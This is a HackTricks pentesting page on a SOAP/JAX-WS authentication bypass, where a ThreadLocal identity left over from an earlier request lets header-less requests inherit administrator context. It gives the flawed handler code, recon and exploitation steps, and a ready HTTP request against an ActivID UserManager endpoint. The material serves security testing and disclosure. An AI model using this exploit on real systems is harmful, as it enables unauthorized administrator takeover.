SOAP/JAX-WS ThreadLocal Authentication Bypass
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
TL;DR
- Some middleware chains store the authenticated
Subject/Principalinside a staticThreadLocaland only refresh it when a proprietary SOAP header arrives. - Because WebLogic/JBoss/GlassFish recycle worker threads, dropping that header causes the last privileged
Subjectprocessed by the thread to be silently reused. - Hammer the vulnerable endpoint with header-less but well-formed SOAP bodies until a reused thread grants you the stolen administrator context.
Root Cause
Handlers similar to the following only overwrite the thread-local identity when the custom header is present, so the previous request’s context survives:
public boolean handleMessage(SOAPMessageContext ctx) {
if (!outbound) {
SOAPHeader hdr = ctx.getMessage().getSOAPPart().getEnvelope().getHeader();
SOAPHeaderElement e = findHeader(hdr, subjectName);
if (e != null) {
SubjectHolder.setSubject(unmarshal(e));
}
}
return true;
}
Recon
- Enumerate the reverse proxy / routing rules to locate hidden SOAP trees that may block
?wsdlyet accept POSTs (map them alongside the flow in 80,443 - Pentesting Web Methodology). - Unpack the EAR/WAR/EJB artifacts (
unzip *.ear) and inspectapplication.xml,web.xml,@WebServiceannotations, and handler chains (e.g.,LoginHandlerChain.xml) to uncover the handler class, SOAP header QName, and the backing EJB names. - If metadata is missing, brute-force likely
ServiceName?wsdlpaths or temporarily relax lab proxies, then import any recovered WSDL into tooling such as Burp Suite Wsdler to generate baseline envelopes. - Review the handler sources for
ThreadLocalkeepers (e.g.,SubjectHolder.setSubject()) that are never cleared when the authentication header is missing or malformed.
Exploitation
- Send a valid request with the proprietary header to learn the normal response codes and any error used for invalid tokens.
- Resend the same SOAP body while omitting the header. Keep the XML well-formed and respect the required namespaces so the handler exits cleanly.
- Loop the request; when it lands on a thread that previously executed a privileged action, the reused
Subjectunlocks protected operations such as user or credential managers.
POST /ac-iasp-backend-jaxws/UserManager HTTP/1.1
Host: target
Content-Type: text/xml;charset=UTF-8
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:jax="http://jaxws.user.frontend.iasp.service.actividentity.com">
<soapenv:Header/>
<soapenv:Body>
<jax:findUserIds>
<arg0></arg0>
<arg1>spl*</arg1>
</jax:findUserIds>
</soapenv:Body>
</soapenv:Envelope>
Validating the Bug
- Attach JDWP (
-agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n) or similar debugging hooks to watch theThreadLocalcontents before and after each call, confirming that an unauthenticated request inherited a prior administratorSubject.
References
- Synacktiv – ActivID administrator account takeover: the story behind HID-PSA-2025-002
- PortSwigger – Wsdler (WSDL parser) extension
Tip
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
HackTricks

